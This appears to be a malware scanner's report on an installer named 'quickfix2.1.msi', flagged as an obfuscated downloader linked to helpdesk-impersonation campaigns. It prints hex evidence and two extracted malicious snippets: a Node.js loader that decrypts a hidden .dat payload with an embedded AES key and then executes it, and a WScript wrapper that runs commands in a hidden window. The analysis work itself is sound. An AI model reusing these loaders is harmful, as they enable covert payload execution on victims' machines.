Hostile 100% document Download

quickfix2.1.msi

Obfuscated downloader, encrypted payload

Node decrypt/write and dynamic module loadingNode distribution host and version path co-occur
SHA-256a4d145a6347e47d40b3ca48af5c6dba01bf019d0110e31a44bb70fc77d1d1676

Also flagged by https://www.bleepingcomputer.com/feed/ (From Deepfakes to Helpdesk Impersonation: Why Stronger Verification Matters), https://www.microsoft.com/en-us/security/blog/feed/ (Impersonating IT support: how threat actors turn a remote session into enterprise-wide access) +1 more.

Evidence

English function-word token "the" 0x8c8–0x9d8
⋯7 more rows
0x9381e0000000a000000496e7374616c6c65........Installe
0x948720000001e0000005400000054686973r.......T...This
0x95820696e7374616c6c6572206461746162 installer datab
0x96861736520636f6e7461696e7320746865ase contains the
0x978206c6f67696320616e64206461746120 logic and data
0x988726571756972656420746f20696e7374required to inst
⋯5 more rows
English function-word token "that" 0x3229–0x32b9
0x3229446174653b44656661756c7444697253Date;DefaultDirS
0x32397472696e672063617465676f72795465tring categoryTe
0x32497874536574206f662076616c75657320xtSet of values
0x32597468617420617265207065726d697474that are permitt
0x326965644465736372697074696f6e206f66edDescription of
⋯5 more rows
English function-word token "with" 0x3528–0x35b8
0x352875616c20706174682c20736574206569ual path, set ei
0x353874686572206279207468652041707053ther by the AppS
0x3548656172636820616374696f6e206f7220earch action or
0x355877697468207468652064656661756c74with the default
0x35682073657474696e67206f627461696e65 setting obtaine
⋯5 more rows
MSI source-to-installed filename alias 0x4df7–0x4f37
⋯3 more rows
0x4e2763202258664174793755452e636d6422c "XfAty7UE.cmd"
0x4e374c6f63616c41707044617461466f6c64LocalAppDataFold
0x4e47657274666d6c3867736f7c4747586d52ertfml8gso|GGXmR
0x4e5778514771395234544152474554444952xQGq9R4TARGETDIR
0x4e672e536f757263654469724d61696e4665.SourceDirMainFe
0x4e7761747572654170706c69636174696f6eatureApplication
0x4e8767774c4d766d5a376878474531647771gwLMvmZ7hxGE1dwq
0x4e977a3664702e696e697c453676584e5641z6dp.ini|E6vXNVA
0x4ea75871472e696e69486c69384733344643XqG.iniHli8G34FC
0x4eb770796179656568706464732e6461747cpyayeehpdds.dat|
0x4ec74a78346230413871745276664f704a2eJx4b0A8qtRvfOpJ.
⋯7 more rows
VBA references wscript.exe 0x50d4–0x5194
⋯3 more rows
0x510474655b53797374656d466f6c6465725dte[SystemFolder]
0x5114777363726970742e657865225b666c71wscript.exe"[flq
0x5124776d425a6f524a4c395d596935443042wmBZoRJL9]Yi5D0B
⋯7 more rows
Initialize Node.js decrypting cipher with IV gwLMvmZ7hxGE · line 1
1var fs=require('fs'),path=require('path'),os=require('os'),here=path['dirname'](process['argv'][0x1]),key=Buffer['from']('e07b47c6e04d2d048479f5d95f67af7eeeae71c9b03c7e53f9345dde95e5f06a','hex'),iv=Buffer['from']('4ce1e36ec85879aef1a4c7f440eef0b3','hex'),encPath=path['join'](here,'Jx4b0A8qtRvfOpJ.dat');function decrypt(_a){var _b=require('crypto')['createDecipheriv']('aes-256-cbc',key,iv);return Buffer['concat']([_b['update'](_a),_b['final']()]);}var tmpFile=path['join'](os['tmpdir'](),'QLzdj2DCGA.js');try{var enc=fs['readFileSync'](encPath),code=decrypt(enc)['toString']('utf8');fs['writeFileSync'](tmpFile,code),require(tmpFile);}catch(_c){try{fs['unlinkSync'](tmpFile);}catch(_d){}}
English function-word token "the" quickfix2.1.msi · 0x8c8–0x9d8
⋯7 more rows
0x9381e0000000a000000496e7374616c6c65........Installe
0x948720000001e0000005400000054686973r.......T...This
0x95820696e7374616c6c6572206461746162 installer datab
0x96861736520636f6e7461696e7320746865ase contains the
0x978206c6f67696320616e64206461746120 logic and data
0x988726571756972656420746f20696e7374required to inst
⋯5 more rows
MSI source-to-installed filename alias quickfix2.1.msi · 0x4df7–0x4f37
⋯3 more rows
0x4e2763202258664174793755452e636d6422c "XfAty7UE.cmd"
0x4e374c6f63616c41707044617461466f6c64LocalAppDataFold
0x4e47657274666d6c3867736f7c4747586d52ertfml8gso|GGXmR
0x4e5778514771395234544152474554444952xQGq9R4TARGETDIR
0x4e672e536f757263654469724d61696e4665.SourceDirMainFe
0x4e7761747572654170706c69636174696f6eatureApplication
0x4e8767774c4d766d5a376878474531647771gwLMvmZ7hxGE1dwq
0x4e977a3664702e696e697c453676584e5641z6dp.ini|E6vXNVA
0x4ea75871472e696e69486c69384733344643XqG.iniHli8G34FC
0x4eb770796179656568706464732e6461747cpyayeehpdds.dat|
0x4ec74a78346230413871745276664f704a2eJx4b0A8qtRvfOpJ.
⋯7 more rows
VBA references wscript.exe quickfix2.1.msi · 0x50d4–0x5194
⋯3 more rows
0x510474655b53797374656d466f6c6465725dte[SystemFolder]
0x5114777363726970742e657865225b666c71wscript.exe"[flq
0x5124776d425a6f524a4c395d596935443042wmBZoRJL9]Yi5D0B
⋯7 more rows
WSH reference near variable Run/Exec syntax mh4RAkE_Fnk_ · line 1
1var sffiz=WScript.CreateObject("WScript.Shell");var cjj78="";for(var ikfve=0;ikfve<WScript.Arguments.Length;ikfve++)cjj78+=WScript.Arguments(ikfve)+" ";sffiz.Run(cjj78,0,false);

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